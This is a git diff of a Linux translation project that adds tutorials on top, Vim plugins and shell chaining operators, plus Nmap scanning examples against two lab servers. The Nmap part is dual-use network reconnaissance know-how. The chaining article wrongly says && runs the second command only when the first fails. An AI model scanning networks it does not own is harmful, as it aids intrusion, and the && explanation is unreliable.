当按下'd'或's'时，你将被提示输入一个值（以秒为单位），它会以设置的值作为刷新间隔。如果你这里输入了1，top将会每秒刷新。
|
||||
|
||||
|
||||
|
||||
### 2.6 ‘l’、‘t’、‘m’: 切换负载、任务、内存信息的显示 ###
|
||||
|
||||
这会相应地切换顶部的平均负载、任务/CPU状态和内存信息的概况显示。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### 2.7 ‘f’: 字段管理 ###
|
||||
|
||||
用于选择你想要显示的字段。用'*'标记的是已选择的。
|
||||
|
||||
|
||||
|
||||
上下光标键在字段内导航，左光标键可以选择字段，回车或右光标键确认。
|
||||
|
||||
按'<'移动已排序的字段到左边，'>'则移动到右边。
|
||||
|
||||
### 2.8 ‘R’: 反向排序 ###
|
||||
|
||||
切换反向/常规排序。
|
||||
|
||||
### 2.9 ‘c’: 触发命令 ###
|
||||
|
||||
切换是否显示进程启动时的完整路径和程序名。
|
||||
|
||||
|
||||
|
||||
### 2.10 ‘i’: 空闲任务 ###
|
||||
|
||||
切换显示空闲任务。
|
||||
|
||||
|
||||
|
||||
### 2.11 ‘V’: 树视图 ###
|
||||
|
||||
切换树视图。
|
||||
|
||||
|
||||
|
||||
### 2.12 ‘Z’: 改变配色 ###
|
||||
|
||||
按下'Z'向用户显示一个改变top命令的输出颜色的屏幕。可以为8个任务区域选择8种颜色。
|
||||
|
||||
|
||||
|
||||
下面显示的是4中颜色显示的top视图。
|
||||
|
||||
|
||||
|
||||
### 2.13 ‘z’: 切换彩色显示 ###
|
||||
|
||||
切换彩色，即打开或关闭彩色显示。
|
||||
|
||||
### 2.14 ‘x’ 或者 ‘y’ ###
|
||||
|
||||
切换高亮信息：'x'将排序字段高亮显示（纵列）；'y'将运行进程高亮显示（横行）。依赖于你的显示设置，你可能需要让输出彩色来看到这些高亮。
|
||||
|
||||
|
||||
|
||||
### 2.15 ‘u’: 特定用户的进程 ###
|
||||
|
||||
显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。
|
||||
|
||||
|
||||
|
||||
### 2.16 ‘n’ 或 ‘#’: 任务的数量 ###
|
||||
|
||||
设置最大显示的任务数量
|
||||
|
||||
|
||||
|
||||
### 2.17 ‘k’: 结束任务 ###
|
||||
|
||||
top命令中最重要的一个命令之一。用于发送信号给任务（通常是结束任务）。
|
||||
|
||||
|
||||
|
||||
### 2.18 ‘r’: 重新设置优先级 ###
|
||||
|
||||
重新设置一个任务的调度优先级。
|
||||
|
||||
## 3. 命令行选项: ##
|
||||
|
||||
这些命令行选项与上面讨论的命令大多相同。top的输出可以用命令交互操作，但是你也可以带参数运行top来设置你想要的效果。
|
||||
|
||||
### 3.1 -b: 批处理模式 ###
|
||||
|
||||
-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。
|
||||
|
||||
### 3.2 -c: 命令/程序名 触发: ###
|
||||
|
||||
如上面所讨论到的命令，这个选项会以上次记住的程序/命令显示的状态显示（是否显示完整路径）。
|
||||
|
||||
### 3.3 -d: 设置延迟间隔 ###
|
||||
|
||||
设置top的显示间隔(以秒计)。比如。
|
||||
|
||||
$ top -d 1
|
||||
|
||||
将会以1秒的刷新间隔启动top。
|
||||
|
||||
### 3.4 -i: 切换显示空闲进程 ###
|
||||
|
||||
这个选项设置top命令的上一次记住的**相反的**'i'状态。
|
||||
|
||||
### 3.5 -n: 设置迭代数量 ###
|
||||
|
||||
用-n选项，你可以设置top退出前迭代的次数。
|
||||
|
||||
$ top -n 3
|
||||
|
||||
将会在刷新输出3次后退出。
|
||||
|
||||
### 3.6 -p: 监控特定的PID ###
|
||||
|
||||
你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。
|
||||
|
||||
### 3.7 -u 或 -U: 用户名 或者 UID ###
|
||||
|
||||
可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的，同时只可以使用这其中一个选项。当你试图组合使用这些选项时，你会得到一个错误:
|
||||
|
||||
$ top -p 28453 -u raghu
|
||||
top: conflicting process selections (U/p/u)
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/
|
||||
|
||||
译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
60
published/Vim is your new IDE.md
Normal file
60
published/Vim is your new IDE.md
Normal file
@ -0,0 +1,60 @@
|
||||
终端至上！将Vim打造成全新的集成开发环境！
|
||||
================================================================================
|
||||
**让GUI都玩儿蛋去！鼠标是你的敌人！只有键盘才是你唯一的朋友！**
|
||||
|
||||
如果把Vim和Tmux结合在一起会发生什么？你将拥有完美的编程环境！下面是我多年来珍藏的一些不传之秘，有了这些，你立刻就能轻松打造出属于你的Vim开发环境。
|
||||
|
||||
###Tmux相关###
|
||||
|
||||
- [Tmux速成班][1]，这个不错，可以让你快速掌握如何开始使用Tmux。
|
||||
- 这是我的[tmux.conf配置文件][2]，它有一个定制状态栏，可以大大改进颜色主题、优化可读性，里面还有一个必不可少的操作：重设快捷将，因为`Ctrl+b`Vim要用，因此它帮你改为了`Ctrl+a`。
|
||||
- 其实，[构建优化IDE][3]就像写一个bash脚本一样简单。链接内的例子展示了如何编写一个`.sh`脚本来运行你自己的编程环境。
|
||||
|
||||
###Vim插件###
|
||||
|
||||
- [Vundle][4]，Vim的插件管理器，用它可以跟踪`.vimrc`文件中的所有插件，还可以进行脚本的一键安装、更新或删除。额，我会告诉你用它还可以直接在Vim里**搜索**插件吗？总之，这个插件扩展绝对是居家旅行、杀人越货之Vim必备佳品。
|
||||
- [Syntastic][5] 可以检测语法是否正确，写代码的时候要想避免低级错误，这个工具必不可少，它的确能**大大提高**你的代码编写速度。
|
||||
- [Supertab][6]，这款插件可以帮助你使用`<Tab>`实现自动补全。它会搜索当前文档中的所有字符串，然后给出所有的匹配项建议。对写代码带来的好处不只是提升速度，还可以避免很多拼写错误。如果有兴趣，在本文最后一部分**用户推荐**，有此插件的替代品。
|
||||
- [Ack][7]，99%的用户会选择用它代替grep。它完美集成在Vim里，用户可以直接用它搜索项目文件，搜索结果则显示在一个独立的窗口里。在本文最后一部分**用户推荐**，也有此插件的替代品。
|
||||
- [CtrlP][8] 能够极快的模糊搜索全路径文件、缓冲区、“最近使用”（MRU）和标签等等，纯粹用`VimL`写成，专为Vim搜索。
|
||||
- [NERDTree][9] 可以帮你浏览整个文件系统、打开文件或目录。它以树形结构显示整个文件系统，支持键盘操作和简单的文件系统操作。
|
||||
- [Sparkup][10]可以帮助你更快的编写HTML代码。支持**类CSS语法**和**完整的HTML扩展**代码。在本文最后一部分**用户推荐**，也有此插件的替代品。
|
||||
|
||||
###小贴士###
|
||||
|
||||
- [Vimux][11]可以帮你在Vim中与Tmux进行交互。例如在不需要离开Vim的情况下进行测试、编写脚本、建立任务等。
|
||||
- [《自动安装Vundle》][12]这篇文章介绍了在`.vimrc`配置文件中只需添加几行`VimL`脚本，这样每次你在一个新环境中运行Vim的时候，它就能自动安装Vundle及所有关联包。在你拷贝Vim配置文件到一个新环境或新的服务器时，这是非常有用的。
|
||||
- [一名开发者的成功故事][13]介绍了他是如何告别他曾经最信任的**MacBook Pro**，并改用iPad + Linode在云上开始开发工作。
|
||||
|
||||
###用户推荐###
|
||||
|
||||
- [YouCompleteMe][14]，由Reddit用户hnasarat推荐。它安装起来稍微麻烦一些，但是支持非常强大的语法补全，包括C、Ruby、Python、PHP等许多语言。
|
||||
- [Ag][15]，由*gckjk*推荐，大多数Reddit用户都知道它，这是升级版的`ack`，速度快了3到5倍。它能读取 `.gitignore`和 `.hgignore`，或者`.agignore`，从而忽略一些被版本控制软件所忽略的匹配文件（译注：不加入版本库的文件，我想你大多数时候没有搜索它的意图）。
|
||||
- [Emmet][16]，由另一个资深reddit用户*damnated*推荐。这是一款`Sparkup`的替代品，可以非常方便快速地用标签标记字符串。链接里有示例演示视频。
|
||||
- [Unite][17]由网友 basetta推荐，它可以作为前面多个插件的集大成者。你可以用它搜索文件（就像`CtrlP`），搜索文档内容（就像`ack`或`ag`），还可以在下拉历史或缓冲区间进行自由移动和切换。所有这些功能都集成在了这一个插件里，非常方便！
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://devcharm.com/pages/18-vim-is-your-new-ide
|
||||
|
||||
译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://robots.thoughtbot.com/a-tmux-crash-course
|
||||
[2]:https://github.com/vrde/dotfiles/blob/master/.tmux.conf
|
||||
[3]:https://gist.github.com/vrde/7398199
|
||||
[4]:https://github.com/gmarik/vundle
|
||||
[5]:https://github.com/scrooloose/syntastic
|
||||
[6]:https://github.com/ervandew/supertab
|
||||
[7]:https://github.com/mileszs/ack.vim
|
||||
[8]:http://kien.github.io/ctrlp.vim/
|
||||
[9]:https://github.com/scrooloose/nerdtree
|
||||
[10]:https://github.com/rstacruz/sparkup
|
||||
[11]:https://github.com/benmills/vimux
|
||||
[12]:http://www.erikzaadi.com/2012/03/19/auto-installing-vundle-from-your-vimrc/
|
||||
[13]:http://www.linuxjournal.com/content/swap-your-laptop-ipad-linode
|
||||
[14]:https://github.com/Valloric/YouCompleteMe
|
||||
[15]:https://github.com/ggreer/the_silver_searcher
|
||||
[16]:http://mattn.github.io/emmet-vim/
|
||||
[17]:https://github.com/Shougo/unite.vim
|
||||
@ -0,0 +1,162 @@
|
||||
Translating-------------geekpi
|
||||
|
||||
|
||||
|
||||
10 Useful Chaining Operators in Linux with Practical Examples
|
||||
================================================================================
|
||||
Chaining of Linux commands means, combining several commands and make them execute based upon the behaviour of operator used in between them. Chaining of commands in Linux, is something like you are writing [short shell scripts][1] at the shell itself, and executing them from the terminal directly. Chaining makes it possible to automate the process. Moreover, an unattended machine can function in a much systematic way with the help of chaining operators.
|
||||
|
||||
|
||||
*10 Chaining Operators in Linux*
|
||||
|
||||
This Article aims at throwing light on frequently used **command-chaining operators**, with short descriptions and corresponding examples which surely will increase your productivity and lets you write short and meaningful codes beside reducing system load, at times.
|
||||
|
||||
### 1. Ampersand Operator (&) ###
|
||||
|
||||
The function of ‘**&**‘ is to make the command run in background. Just type the command followed with a white space and ‘**&**‘. You can execute more than one command in the background, in a single go.
|
||||
|
||||
Run one command in the background:
|
||||
|
||||
tecmint@localhost:~$ ping c5 www.tecmint.com &
|
||||
|
||||
Run two command in background, simultaneously:
|
||||
|
||||
root@localhost:/home/tecmint# apt-get update & apt-get upgrade &
|
||||
|
||||
### 2. semi-colon Operator (;) ###
|
||||
|
||||
The semi-colon operator makes it possible to run, several commands in a single go and the execution of command occurs sequentially.
|
||||
|
||||
root@localhost:/home/tecmint# apt-get update ; apt-get upgrade ; mkdir test
|
||||
|
||||
The above command combination will first execute **update** instruction, then **upgrade** instruction and finally will create a ‘**test**‘ directory under the current working directory.
|
||||
|
||||
### 3. AND Operator (&&) ###
|
||||
|
||||
The **AND Operator (&&)** would execute the second command only, if the execution of first command fails, i.e., the exit status of the first command is **1**. This command is very useful in checking the execution status of last command.
|
||||
|
||||
For example, I want to visit website **tecmint.com** using **[links command][2]**, in terminal but before that I need to check if the host is **live** or **not**.
|
||||
|
||||
root@localhost:/home/tecmint# ping -c3 www.tecmint.com && links www.tecmint.com
|
||||
|
||||
### 4. OR Operator (||) ###
|
||||
|
||||
The **OR Operator (||)** is much like an ‘**else**‘ statement in programming. The above operator allow you to execute second command only if the execution of first command fails, i.e., the exit status of first command is ‘**1**‘.
|
||||
|
||||
For example, I want to execute ‘**apt-get update**‘ from non-root account and if the first command fails, then the second ‘**links www.tecmint.com**‘ command will execute.
|
||||
|
||||
tecmint@localhost:~$ apt-get update || links tecmint.com
|
||||
|
||||
In the above command, since the **user** was not allowed to **update** system, it means that the exit status of first command is ’**1**′ and hence the last command ‘**links tecmint.com**‘ gets executed.
|
||||
|
||||
What if the first command is executed successfully, with an exit status ‘**0**‘? Obviously! Second command won’t execute.
|
||||
|
||||
tecmint@localhost:~$ mkdir test || links tecmint.com
|
||||
|
||||
Here, the user creates a folder ‘**test**‘ in his home directory, for which user is permitted. The command executed successfully giving an exit status ‘**0**‘ and hence the last part of the command is not executed.
|
||||
|
||||
### 5. NOT Operator (!) ###
|
||||
|
||||
The **NOT Operator (!)** is much like an ‘**except**‘ statement. This command will execute all except the condition provided. To understand this, create a directory ‘**tecmint**‘ in your home directory and ‘**cd**‘ to it.
|
||||
|
||||
tecmint@localhost:~$ mkdir tecmint
|
||||
tecmint@localhost:~$ cd tecmint
|
||||
|
||||
Next, create several types of files in the folder ‘**tecmint**‘.
|
||||
|
||||
tecmint@localhost:~/tecmint$ touch a.doc b.doc a.pdf b.pdf a.xml b.xml a.html b.html
|
||||
|
||||
See we’ve created all the new files within the folder ‘**tecmint**‘.
|
||||
|
||||
tecmint@localhost:~/tecmint$ ls
|
||||
|
||||
a.doc a.html a.pdf a.xml b.doc b.html b.pdf b.xml
|
||||
|
||||
Now delete all the files except ‘**html**‘ file all at once, in a smart way.
|
||||
|
||||
tecmint@localhost:~/tecmint$ rm -r !(*.html)
|
||||
|
||||
Just to verify, last execution. List all of the available files using [ls command][3].
|
||||
|
||||
tecmint@localhost:~/tecmint$ ls
|
||||
|
||||
a.html b.html
|
||||
|
||||
### 6. AND – OR operator (&& – ||) ###
|
||||
|
||||
The above operator is actually a combination of ‘**AND**‘ and ‘**OR**‘ Operator. It is much like an ‘**if-else**‘ statement.
|
||||
|
||||
For example, let’s do ping to **tecmint.com**, if success echo ‘**Verified**‘ else echo ‘**Host Down**‘.
|
||||
|
||||
tecmint@localhost:~/tecmint$ ping -c3 www.tecmint.com && echo "Verified" || echo "Host Down"
|
||||
|
||||
#### Sample Output ####
|
||||
|
||||
PING www.tecmint.com (212.71.234.61) 56(84) bytes of data.
|
||||
64 bytes from www.tecmint.com (212.71.234.61): icmp_req=1 ttl=55 time=216 ms
|
||||
64 bytes from www.tecmint.com (212.71.234.61): icmp_req=2 ttl=55 time=224 ms
|
||||
64 bytes from www.tecmint.com (212.71.234.61): icmp_req=3 ttl=55 time=226 ms
|
||||
|
||||
--- www.tecmint.com ping statistics ---
|
||||
3 packets transmitted, 3 received, 0% packet loss, time 2001ms
|
||||
rtt min/avg/max/mdev = 216.960/222.789/226.423/4.199 ms
|
||||
Verified
|
||||
|
||||
Now, disconnect your internet connection, and try same command again.
|
||||
|
||||
tecmint@localhost:~/tecmint$ ping -c3 www.tecmint.com && echo "verified" || echo "Host Down"
|
||||
|
||||
#### Sample Output ####
|
||||
|
||||
ping: unknown host www.tecmint.com
|
||||
Host Down
|
||||
|
||||
### 7. PIPE Operator (|) ###
|
||||
|
||||
This **PIPE** operator is very useful where the output of first command acts as an input to the second command. For example, pipeline the output of ‘**ls -l**‘ to ‘**less**‘ and see the output of the command.
|
||||
|
||||
tecmint@localhost:~$ ls -l | less
|
||||
|
||||
### 8. Command Combination Operator {} ###
|
||||
|
||||
Combine two or more commands, the second command depends upon the execution of the first command.
|
||||
|
||||
For example, check if a file ‘**xyz.txt**‘ and ‘**xyz1.txt**‘ is available under my **Downloads** directory or not, and output corresponding output.
|
||||
|
||||
tecmint@localhost:~$ [ -f /home/tecmint/Downloads/xyz.txt ] || echo “The file does not exist”
|
||||
|
||||
tecmint@localhost:~$ [ -f /home/tecmint/Downloads/xyz1.txt ] || echo “The file does not exist”
|
||||
|
||||
“The file does not exist”
|
||||
|
||||
### 9. Precedence Operator () ###
|
||||
|
||||
The Operator makes it possible to execute command in precedence order.
|
||||
|
||||
Command_x1 &&Command_x2 || Command_x3 && Command_x4.
|
||||
|
||||
In the above pseudo command, what if the **Command_x1** fails? Neither of the **Command_x2**, **Command_x3**, **Command_x4** would executed, for this we use **Precedence Operator**, as:
|
||||
|
||||
(Command_x1 &&Command_x2) || (Command_x3 && Command_x4)
|
||||
|
||||
In the above pseudo command, if **Command_x1** fails, **Command_x2** also fails but Still **Command_x3** and **Command_x4** executes depends upon exit status of **Command_x3**.
|
||||
|
||||
### 10. Concatenation Operator (\) ###
|
||||
|
||||
The **Concatenation Operator (\)** as the name specifies, is used to concatenate large commands over several lines in the shell. For example, The below command will open text file **test(1).txt**.
|
||||
|
||||
tecmint@localhost:~/Downloads$ nano test\(1\).txt
|
||||
|
||||
That’s all for now. I am coming up with another interesting article very soon. Till then Stay tuned, healthy and connected to **Tecmint**. Don’t forget to give your Valuable feedback in our comment section.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/chaining-operators-in-linux-with-practical-examples/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.tecmint.com/category/bash-shell/
|
||||
[2]:http://www.tecmint.com/command-line-web-browsers/
|
||||
[3]:http://www.tecmint.com/15-basic-ls-command-examples-in-linux/
|
||||
@ -1,3 +1,4 @@
|
||||
[this is bazz2]
|
||||
10 basic examples of linux netstat command
|
||||
================================================================================
|
||||
### Netstat ###
|
||||
|
||||
@ -0,0 +1,646 @@
|
||||
Vic020的WC
|
||||
29 Practical Examples of Nmap Commands for Linux System/Network Administrators
|
||||
================================================================================
|
||||
The **Nmap** aka **Network Mapper** is an open source and a very versatile tool for Linux system/network administrators. **Nmap** is used for **exploring networks, perform security scans, network audit** and **finding open ports** on remote machine. It scans for Live hosts, Operating systems, packet filters and open ports running on remote hosts.
|
||||
|
||||
|
||||
*Nmap Commands and Examples*
|
||||
|
||||
I’ll be covering most of **NMAP** usage in two different parts and this is the first part of nmap serious. Here in this setup, I have used two servers without firewall to test the working of the Nmap command.
|
||||
|
||||
- 192.168.0.100 – server1.tecmint.com
|
||||
- 192.168.0.101 – server2.tecmint.com
|
||||
|
||||
### Nmap command usage ###
|
||||
|
||||
# nmap [Scan Type(s)] [Options] {target specification}
|
||||
|
||||
### How to Install NMAP in Linux ###
|
||||
|
||||
Most of the today’s Linux distributions like **Red Hat, CentOS, Fedoro, Debian** and **Ubuntu** have included **Nmap** in their default package management repositories called [Yum][1] and [APT][2]. The both tools are used to install and manage software packages and updates. To install **Nmap** on distribution specific use the following command.
|
||||
|
||||
# yum install nmap [on Red Hat based systems]
|
||||
$ sudo apt-get install nmap [on Debian based systems]
|
||||
|
||||
Once you’ve install latest nmap application, you can follow the example instructions provided in this article.
|
||||
|
||||
### 1. Scan a System with Hostname and IP Address ###
|
||||
|
||||
The **Nmap** tool offers various methods to scan a system. In this example, I am performing a scan using hostname as **server2.tecmint.com** to find out all open ports, services and MAC address on the system.
|
||||
|
||||
#### Scan using Hostname ####
|
||||
|
||||
[root@server1 ~]# nmap server2.tecmint.com
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 15:42 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.415 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
#### Scan using IP Address ####
|
||||
|
||||
[root@server1 ~]# nmap 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 11:04 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
958/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.465 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
### 2. Scan using “-v” option ###
|
||||
|
||||
You can see that the below command with “**-v**” option is giving more detailed information about the remote machine.
|
||||
|
||||
[root@server1 ~]# nmap -v server2.tecmint.com
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 15:43 EST
|
||||
Initiating ARP Ping Scan against 192.168.0.101 [1 port] at 15:43
|
||||
The ARP Ping Scan took 0.01s to scan 1 total hosts.
|
||||
Initiating SYN Stealth Scan against server2.tecmint.com (192.168.0.101) [1680 ports] at 15:43
|
||||
Discovered open port 22/tcp on 192.168.0.101
|
||||
Discovered open port 80/tcp on 192.168.0.101
|
||||
Discovered open port 8888/tcp on 192.168.0.101
|
||||
Discovered open port 111/tcp on 192.168.0.101
|
||||
Discovered open port 3306/tcp on 192.168.0.101
|
||||
Discovered open port 957/tcp on 192.168.0.101
|
||||
The SYN Stealth Scan took 0.30s to scan 1680 total ports.
|
||||
Host server2.tecmint.com (192.168.0.101) appears to be up ... good.
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.485 seconds
|
||||
Raw packets sent: 1681 (73.962KB) | Rcvd: 1681 (77.322KB)
|
||||
|
||||
#### Scan Multiple Hosts ####
|
||||
|
||||
You can scan multiple hosts by simply writing their IP addresses or hostnames with Nmap.
|
||||
|
||||
[root@server1 ~]# nmap 192.168.0.101 192.168.0.102 192.168.0.103
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:06 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
Nmap finished: 3 IP addresses (1 host up) scanned in 0.580 seconds
|
||||
|
||||
### 4. Scan a whole Subnet ###
|
||||
|
||||
You can scan a whole subnet or IP range with Nmap by providing *** wildcard** with it.
|
||||
|
||||
[root@server1 ~]# nmap 192.168.0.*
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:11 EST
|
||||
Interesting ports on server1.tecmint.com (192.168.0.100):
|
||||
Not shown: 1677 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
111/tcp open rpcbind
|
||||
851/tcp open unknown
|
||||
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 256 IP addresses (2 hosts up) scanned in 5.550 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
On above output you can see that nmap scanned a whole subnet and gave the information about those hosts which are **Up** in the **Network**.
|
||||
|
||||
### 5. Scan Multiple Servers using last octet of IP address ###
|
||||
|
||||
You can perform scans on multiple IP address by simple specifying last octet of IP address. For example, here I performing a scan on IP addresses 192.168.0.101, 192.168.0.102 and 192.168.0.103.
|
||||
|
||||
[root@server1 ~]# nmap 192.168.0.101,102,103
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:09 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 3 IP addresses (1 host up) scanned in 0.552 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
### 6. Scan list of Hosts from a File ###
|
||||
|
||||
If you have more hosts to scan and all host details are written in a file , you can directly ask nmap to read that file and perform scans. Let’s see how to do that.
|
||||
|
||||
Create a text file called “**nmaptest.txt**” and define all the IP addresses or hostname of the server that you want to do a scan.
|
||||
|
||||
[root@server1 ~]# cat > nmaptest.txt
|
||||
|
||||
localhost
|
||||
server2.tecmint.com
|
||||
192.168.0.101
|
||||
|
||||
Next, run the following command with “**iL**” option with nmap command to scan all listed IP address in the file.
|
||||
|
||||
[root@server1 ~]# nmap -iL nmaptest.txt
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 10:58 EST
|
||||
Interesting ports on localhost.localdomain (127.0.0.1):
|
||||
Not shown: 1675 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
25/tcp open smtp
|
||||
111/tcp open rpcbind
|
||||
631/tcp open ipp
|
||||
857/tcp open unknown
|
||||
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
958/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
958/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 3 IP addresses (3 hosts up) scanned in 2.047 seconds
|
||||
|
||||
### 7. Scan an IP Address Range ###
|
||||
|
||||
You can specify an IP range while performing scan with Nmap.
|
||||
|
||||
[root@server1 ~]# nmap 192.168.0.101-110
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:09 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 10 IP addresses (1 host up) scanned in 0.542 seconds
|
||||
|
||||
### 8. Scan Network Excluding Remote Hosts ###
|
||||
|
||||
You can exclude some hosts while performing a full network scan or when you are scanning with wildcards with “**–exclude**” option.
|
||||
|
||||
[root@server1 ~]# nmap 192.168.0.* --exclude 192.168.0.100
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:16 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 255 IP addresses (1 host up) scanned in 5.313 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
### 9. Scan OS information and Traceroute ###
|
||||
|
||||
With Nmap, you can detect which OS and version is running on the remote host. To enable OS & version detection, script scanning and traceroute, we can use “**-A**” option with NMAP.
|
||||
|
||||
[root@server1 ~]# nmap -A 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:25 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
|
||||
80/tcp open http Apache httpd 2.2.3 ((CentOS))
|
||||
111/tcp open rpcbind 2 (rpc #100000)
|
||||
957/tcp open status 1 (rpc #100024)
|
||||
3306/tcp open mysql MySQL (unauthorized)
|
||||
8888/tcp open http lighttpd 1.4.32
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
